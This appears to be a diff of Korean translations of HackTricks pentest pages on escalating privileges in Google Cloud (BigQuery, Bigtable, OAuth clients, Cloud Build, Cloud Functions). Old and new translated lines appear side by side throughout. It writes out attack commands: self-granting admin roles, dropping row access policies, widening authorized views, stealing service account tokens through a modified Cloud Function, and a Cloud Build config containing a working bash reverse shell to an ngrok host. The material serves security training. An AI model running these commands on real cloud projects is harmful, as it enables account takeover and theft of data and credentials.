BigQuery 테이블에 저장된 정보를 읽으면 **민감한 정보**를 찾을 수 있습니다. 해당 정보에 접근하려면 필요한 권한은 **`bigquery.tables.get`**, **`bigquery.jobs.create`** 및 **`bigquery.tables.getData`** 입니다:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery 테이블 데이터 읽기</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
</details>
|
||||
|
||||
### 데이터 내보내기
|
||||
|
||||
이것은 데이터에 접근하는 또 다른 방법입니다. **클라우드 스토리지 버킷에 내보내고** **정보가 담긴 파일을 다운로드**합니다.\
|
||||
이 작업을 수행하려면 다음 권한이 필요합니다: **`bigquery.tables.export`**, **`bigquery.jobs.create`** 및 **`storage.objects.create`**.
|
||||
이것은 데이터를 접근하는 또 다른 방법입니다. **Cloud Storage 버킷으로 내보내고** 정보가 포함된 **파일을 다운로드**하세요. 이 작업을 수행하려면 다음 권한이 필요합니다: **`bigquery.tables.export`**, **`bigquery.jobs.create`** 및 **`storage.objects.create`**.
|
||||
|
||||
<details>
|
||||
<summary>BigQuery 테이블을 Cloud Storage로 내보내기</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### 데이터 삽입
|
||||
|
||||
**신뢰할 수 있는 특정 데이터**를 Bigquery 테이블에 **다른 곳의 취약점을 악용하기 위해** 삽입하는 것이 가능할 수 있습니다. 이는 **`bigquery.tables.get`**, **`bigquery.tables.updateData`** 및 **`bigquery.jobs.create`** 권한을 사용하여 쉽게 수행할 수 있습니다:
|
||||
Bigquery 테이블에 **특정 신뢰된 데이터를 주입**하여 **다른 곳의 취약점**을 악용할 수 있습니다. 이는 권한 **`bigquery.tables.get`**, **`bigquery.tables.updateData`** 및 **`bigquery.jobs.create`**로 쉽게 수행할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery 테이블에 데이터 삽입</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +46,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
공격자는 이 권한을 악용하여 BigQuery 데이터셋에 대한 **추가 권한을 부여할 수 있습니다**:
|
||||
공격자는 이 권한을 악용해 BigQuery 데이터셋에 대해 **자신에게 추가 권한을 부여할 수 있습니다**:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery 데이터셋에 대한 IAM 정책 설정</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +63,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
이 권한만으로도 **ACL을 수정하여 BigQuery 데이터셋에 대한 액세스를 업데이트할 수 있습니다**.
|
||||
이 권한만으로도 **누가 접근할 수 있는지를 나타내는 ACLs를 수정해 BigQuery dataset에 대한 접근 권한을 업데이트할 수 있습니다**:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery dataset ACLs 수정</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +79,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
공격자는 이 권한을 악용하여 **BigQuery 테이블에 대한 추가 권한을 부여할 수 있습니다**:
|
||||
공격자는 이 권한을 악용하여 BigQuery 테이블에 대해 **자신에게 추가 권한을 부여할 수 있습니다**:
|
||||
|
||||
<details>
|
||||
<summary>BigQuery 테이블에 대한 IAM 정책 설정</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +96,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
문서에 따르면, 언급된 권한으로 **행 정책을 업데이트할 수 있습니다.**\
|
||||
하지만, **CLI `bq`를 사용하려면** 추가로 **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**이 필요합니다.
|
||||
문서에 따르면, 언급된 권한으로 **row access policy를 업데이트할 수 있습니다.**\
|
||||
하지만, **cli `bq`를 사용할 때는** 추가로 다음 권한들이 필요합니다: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
|
||||
|
||||
<details>
|
||||
<summary>Create or replace row access policy</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
행 정책 열거의 출력에서 필터 ID를 찾는 것이 가능합니다. 예:
|
||||
</details>
|
||||
|
||||
filter ID는 row policies enumeration의 출력에서 찾을 수 있습니다. 예:
|
||||
|
||||
<details>
|
||||
<summary>List row access policies</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +121,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
**`bigquery.rowAccessPolicies.delete`** 대신 `bigquery.rowAccessPolicies.update`가 있다면 정책을 삭제할 수도 있습니다:
|
||||
</details>
|
||||
|
||||
만약 **`bigquery.rowAccessPolicies.delete`** 권한이 `bigquery.rowAccessPolicies.update` 대신 있다면 정책을 그냥 삭제할 수도 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>행 액세스 정책 삭제</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +134,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 행 액세스 정책을 우회할 수 있는 또 다른 잠재적 옵션은 제한된 데이터의 값을 변경하는 것입니다. `term`이 `Cfba`일 때만 볼 수 있다면, 테이블의 모든 레코드를 `term = "Cfba"`로 수정하십시오. 그러나 이는 bigquery에 의해 방지됩니다.
|
||||
> 행 수준 액세스 정책을 우회할 수 있는 또 다른 방법은 제한된 데이터의 값을 단순히 변경하는 것입니다. 예를 들어 `term`이 `Cfba`일 때만 볼 수 있다면, 테이블의 모든 레코드를 `term = "Cfba"`로 수정하면 됩니다. 그러나 이는 bigquery에 의해 차단됩니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Bigtable에 대한 자세한 정보는 다음을 확인하세요:
|
||||
For more information about Bigtable check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
@@ -12,39 +12,50 @@ Bigtable에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**권한:** `bigtable.instances.setIamPolicy` (보통 현재 바인딩을 읽기 위한 `bigtable.instances.getIamPolicy`도 필요합니다).
|
||||
**권한:** `bigtable.instances.setIamPolicy` (일반적으로 현재 바인딩을 읽기 위해 `bigtable.instances.getIamPolicy`도 필요합니다).
|
||||
|
||||
인스턴스 IAM 정책을 소유하면 자신에게 **`roles/bigtable.admin`** (또는 임의의 커스텀 역할)을 부여할 수 있으며, 이는 인스턴스의 모든 클러스터, 테이블, 백업 및 승인된 뷰에 연쇄적으로 적용됩니다.
|
||||
인스턴스의 IAM 정책을 소유하면 자신에게 **`roles/bigtable.admin`**(또는 임의의 custom role)을 부여할 수 있으며, 이는 인스턴스 내 모든 클러스터, 테이블, 백업 및 권한이 부여된 보기로 전파됩니다.
|
||||
|
||||
<details><summary>인스턴스에 bigtable.admin 역할을 부여</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> 기존 바인딩을 나열할 수 없다면, 자신을 계속 포함시키는 조건으로 새 정책 문서를 작성해 `gcloud bigtable instances set-iam-policy`로 적용하세요.
|
||||
</details>
|
||||
|
||||
이 권한을 확보한 후, 더 많은 Bigtable 권한 악용 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)을 확인하세요.
|
||||
> [!TIP]
|
||||
> 기존 바인딩을 나열할 수 없다면, 새로운 정책 문서를 작성하여 `gcloud bigtable instances set-iam-policy`로 적용하세요. 단 자신을 그 정책에 포함시켜 두어야 합니다.
|
||||
|
||||
이 권한을 얻은 후에는 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 Bigtable 권한을 악용하는 추가 기법들을 확인하세요.
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**권한:** `bigtable.tables.setIamPolicy` (선택적으로 `bigtable.tables.getIamPolicy`).
|
||||
**권한:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
|
||||
|
||||
인스턴스 정책은 잠겨 있을 수 있지만 개별 테이블은 위임될 수 있습니다. 테이블 IAM을 편집할 수 있다면 다른 워크로드에 손대지 않고 **대상 데이터셋의 소유자로 자신을 승격시킬 수 있습니다**.
|
||||
인스턴스 정책은 잠겨 있는 반면 개별 테이블에는 권한이 위임될 수 있습니다. 테이블의 IAM을 편집할 수 있다면, 다른 워크로드에 손대지 않고도 **대상 데이터셋의 owner로 자신을 승격**할 수 있습니다.
|
||||
|
||||
<details><summary>테이블에 대해 자신에게 bigtable.admin 역할 부여</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
|
||||
</details>
|
||||
|
||||
이 권한을 얻은 후에는 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 Bigtable 권한을 악용하는 더 많은 기법을 확인하세요.
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**권한:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
백업은 당신이 제어하는 **어떤 인스턴스든 어떤 프로젝트든** 복원할 수 있습니다. 먼저 본인 아이덴티티에 백업 접근 권한을 부여한 뒤, Admin/Owner 역할을 가진 샌드박스에 복원하세요.
|
||||
백업은 당신이 제어하는 **어떤 프로젝트의 어떤 인스턴스**로든 복원할 수 있습니다. 먼저 당신의 identity에 백업 접근 권한을 부여한 다음, Admin/Owner 역할을 가진 샌드박스에 복원하세요.
|
||||
|
||||
만약 `bigtable.backups.setIamPolicy` 권한이 있다면 스스로에게 `bigtable.backups.restore` 권한을 부여해 이전 백업을 복원하고 민감한 정보에 접근하려 시도할 수 있습니다.
|
||||
만약 `bigtable.backups.setIamPolicy` 권한이 있다면, 자신에게 `bigtable.backups.restore` 권한을 부여해 오래된 백업을 복원하고 민감한 정보를 열람해볼 수 있습니다.
|
||||
|
||||
<details><summary>Take ownership of backup snapshot</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -52,14 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
백업을 복원하는 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 이 권한 확인을 참조하세요.
|
||||
</details>
|
||||
|
||||
해당 권한 확인은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 백업을 복원하는 방법을 확인한 후에 진행한다.
|
||||
|
||||
|
||||
### Update authorized view
|
||||
|
||||
**권한:** `bigtable.authorizedViews.update`
|
||||
**Permissions:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views는 행/열을 가려야 합니다. 이를 수정하거나 삭제하면 방어자가 의존하는 **세분화된 보호 장치가 제거됩니다**.
|
||||
Authorized Views는 행/열을 가리도록 설계되어 있다. 이를 수정하거나 삭제하면 수비자가 의존하는 세분화된 보호 장치가 **제거된다**.
|
||||
|
||||
<details><summary>authorized view를 업데이트하여 접근 범위 확대</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -84,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
이 권한을 가진 후에는 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 Authorized View에서 데이터를 읽는 방법을 확인하세요.
|
||||
</details>
|
||||
|
||||
이 권한을 획득한 후 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 authorized view에서 어떻게 읽는지 확인하세요.
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**권한:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
이 권한을 가진 공격자는 자신에게 Authorized View에 대한 접근 권한을 부여할 수 있으며, Authorized View에는 그렇지 않으면 접근할 수 없는 민감한 데이터가 포함되어 있을 수 있습니다.
|
||||
이 권한을 가진 공격자는 자신에게 Authorized View 접근 권한을 부여할 수 있으며, 해당 뷰에는 평소에는 접근할 수 없는 민감한 데이터가 포함되어 있을 수 있습니다.
|
||||
|
||||
<details><summary>authorized view에 대한 접근 권한을 자신에게 부여</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -98,6 +117,10 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
이 권한 검사를 확인한 후 권한이 허용된 뷰에서 읽는 방법은 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 확인하세요.
|
||||
</details>
|
||||
|
||||
이 권한 검사를 수행한 후에는 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)에서 권한이 부여된 뷰에서 읽는 방법을 확인하세요.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
### OAuth 브랜드 및 클라이언트 생성
|
||||
|
||||
[**문서에 따르면**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), 필요한 권한은 다음과 같습니다:
|
||||
[**문서에 따르면**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), 다음은 필요한 권한입니다:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>OAuth 브랜드 및 클라이언트 생성</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
Cloud Build에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Cloud Build에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,14 @@ Cloud Build에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 사용하면 **클라우드 빌드를 제출할 수 있습니다**. cloudbuild 머신의 파일 시스템에는 **기본적으로 cloudbuild 서비스 계정의 토큰**이 포함되어 있습니다: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. 그러나 클라우드빌드 구성에서 **프로젝트 내의 모든 서비스 계정을 지정할 수 있습니다**.\
|
||||
따라서 머신이 토큰을 서버로 유출하거나 **그 안에서 리버스 셸을 얻어 토큰을 가져올 수 있습니다** (토큰이 포함된 파일은 변경될 수 있습니다).
|
||||
이 권한으로 당신은 **submit a cloud build** 할 수 있습니다. cloudbuild 머신의 파일시스템에는 기본적으로 cloudbuild Service Account의 **token**이 포함되어 있습니다: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. 하지만 cloudbuild 구성에서 프로젝트 내의 어떤 Service Account든 **지정할 수 있습니다**.\
|
||||
따라서, 머신이 token을 당신의 서버로 exfiltrate하도록 만들거나 **그 안에서 reverse shell을 얻어 token을 확보**할 수 있습니다 (토큰을 담고 있는 파일은 변경될 수 있습니다).
|
||||
|
||||
#### gcloud CLI를 통한 직접적인 악용
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1- `cloudbuild.yaml`을 생성하고 리스너 데이터로 수정합니다.
|
||||
1- `cloudbuild.yaml` 파일을 생성하고 리스너 데이터로 수정하세요
|
||||
|
||||
<details><summary>reverse shell을 위한 Cloud Build YAML 구성</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,28 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- 소스가 없는 간단한 빌드를 업로드하고, yaml 파일을 지정하고 빌드에 사용할 SA를 지정합니다:
|
||||
</details>
|
||||
|
||||
2- 소스 없이 간단한 build를 업로드하고, yaml 파일을 추가한 뒤 빌드에 사용할 SA를 지정합니다:
|
||||
|
||||
<details><summary>지정된 서비스 계정으로 Cloud Build 제출</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### Using python gcloud library
|
||||
원래의 익스플로잇 스크립트는 [**여기 GitHub에서**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) 찾을 수 있습니다 (하지만 토큰을 가져오는 위치는 저에게는 작동하지 않았습니다). 따라서 [**취약한 환경의 생성, 익스플로잇 및 정리를 자동화하는 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 확인하고, 클라우드빌드 머신 내에서 리버스 셸을 얻고 [**탈취하는 파이썬 스크립트는 여기에서**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) 확인하세요 (코드에서 다른 서비스 계정을 지정하는 방법을 찾을 수 있습니다)**.**
|
||||
</details>
|
||||
|
||||
더 자세한 설명은 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)를 방문하세요.
|
||||
#### python gcloud library 사용
|
||||
|
||||
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
|
||||
|
||||
자세한 설명은 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)을(를) 참조하세요.
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
이 권한을 통해 사용자는 리포지토리에 접근하는 데 사용되는 **읽기 접근 토큰**을 얻을 수 있습니다:
|
||||
이 권한이 있으면 사용자는 저장소에 접근하는 데 사용되는 **읽기 액세스 토큰**을 얻을 수 있습니다:
|
||||
|
||||
<details><summary>저장소에 대한 읽기 액세스 토큰 가져오기</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -47,9 +58,13 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.repositories.accessReadWriteToken`
|
||||
|
||||
이 권한을 사용하면 사용자가 리포지토리에 접근하는 데 사용되는 **읽기 및 쓰기 액세스 토큰**을 얻을 수 있습니다:
|
||||
이 권한으로 사용자는 저장소에 접근하는 데 사용되는 **읽기 및 쓰기 액세스 토큰**을 얻을 수 있습니다:
|
||||
|
||||
<details><summary>저장소의 읽기 및 쓰기 액세스 토큰 가져오기</summary>
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
@@ -57,12 +72,18 @@ curl -X POST \
|
||||
-d '{}' \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudbuild.connections.fetchLinkableRepositories`
|
||||
|
||||
이 권한을 사용하면 **연결이 접근할 수 있는 리포지토리를 가져올 수 있습니다:**
|
||||
이 권한으로 연결이 액세스할 수 있는 리포지토리를 **가져올 수 있습니다:**
|
||||
|
||||
<details><summary>링크할 수 있는 리포지토리 가져오기</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudfunctions
|
||||
|
||||
Cloud Functions에 대한 추가 정보:
|
||||
Cloud Functions에 대한 자세한 정보:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,19 +12,21 @@ Cloud Functions에 대한 추가 정보:
|
||||
|
||||
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **임의의 (악의적인) 코드를 가진 새로운 Cloud Function을 생성하고 이를 Service Account에 할당할 수 있습니다**. 그런 다음 메타데이터에서 Service Account 토큰을 유출하여 권한을 상승시킬 수 있습니다.\
|
||||
함수를 트리거하기 위해 일부 권한이 필요할 수 있습니다.
|
||||
이 권한을 가진 공격자는 **임의(악성) 코드를 포함하는 새로운 Cloud Function을 생성하고 Service Account를 할당할 수 있습니다**. 그런 다음, 메타데이터에서 Service Account 토큰을 leak하여 해당 계정으로 권한 상승할 수 있습니다.
|
||||
함수를 트리거하기 위한 일부 권한이 필요할 수 있습니다.
|
||||
|
||||
이 방법에 대한 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py)와 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py)에서 찾을 수 있으며, 미리 빌드된 .zip 파일은 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions)에서 찾을 수 있습니다.
|
||||
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
|
||||
|
||||
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
|
||||
|
||||
이 권한을 가진 공격자는 **Function의 코드를 수정하고 심지어 연결된 서비스 계정을 수정하여 토큰을 유출할 수 있습니다**.
|
||||
이 권한을 가진 공격자는 **Function의 코드를 수정하고 심지어 연결된 Service Account까지 변경하여 토큰을 탈취할 수 있습니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Cloud functions를 배포하려면 기본 컴퓨트 서비스 계정에 대한 actAs 권한이나 이미지를 빌드하는 데 사용되는 서비스 계정에 대한 actAs 권한이 필요합니다.
|
||||
> cloud functions를 배포하려면 기본 compute service account에 대한 actAs 권한 또는 이미지를 빌드하는 데 사용되는 service account에 대한 actAs 권한이 필요합니다.
|
||||
|
||||
버전 1 cloudfunctions에 대한 `.call` 권한이나 함수를 트리거하기 위한 `role/run.invoker` 역할과 같은 추가 권한이 필요할 수 있습니다.
|
||||
함수를 트리거하기 위해 version 1 cloudfunctions의 `.call` 권한이나 `role/run.invoker` 역할 같은 추가 권한이 필요할 수 있습니다.
|
||||
|
||||
<details><summary>악성 코드로 Cloud Function을 업데이트하여 service account token을 탈취하기</summary>
|
||||
```bash
|
||||
# Create new code
|
||||
temp_dir=$(mktemp -d)
|
||||
@@ -54,14 +56,18 @@ gcloud functions deploy <cloudfunction-name> \
|
||||
# Get SA token calling the new function code
|
||||
gcloud functions call <cloudfunction-name>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> `Permission 'run.services.setIamPolicy' denied on resource...` 오류가 발생하는 경우, 이는 `--allow-unauthenticated` 매개변수를 사용하고 있으며 충분한 권한이 없기 때문입니다.
|
||||
</details>
|
||||
|
||||
이 방법에 대한 익스플로잇 스크립트는 [여기](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py)에서 찾을 수 있습니다.
|
||||
> [!CAUTION]
|
||||
> 오류 `Permission 'run.services.setIamPolicy' denied on resource...` 가 발생하면 이는 `--allow-unauthenticated` 파라미터를 사용하고 있고 해당 파라미터에 대한 충분한 권한이 없기 때문입니다.
|
||||
|
||||
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeSet`
|
||||
|
||||
이 권한을 사용하면 **함수 버킷에 파일을 업로드할 수 있는 서명된 URL을 얻을 수 있지만, 함수의 코드는 변경되지 않으며 여전히 업데이트해야 합니다.**
|
||||
이 권한이 있으면 function bucket에 파일을 업로드할 수 있는 **signed URL을 얻을 수 있습니다 (단, 함수의 코드는 변경되지 않으며 여전히 업데이트해야 합니다)**
|
||||
|
||||
<details><summary>Cloud Function용 signed upload URL 생성</summary>
|
||||
```bash
|
||||
# Generate the URL
|
||||
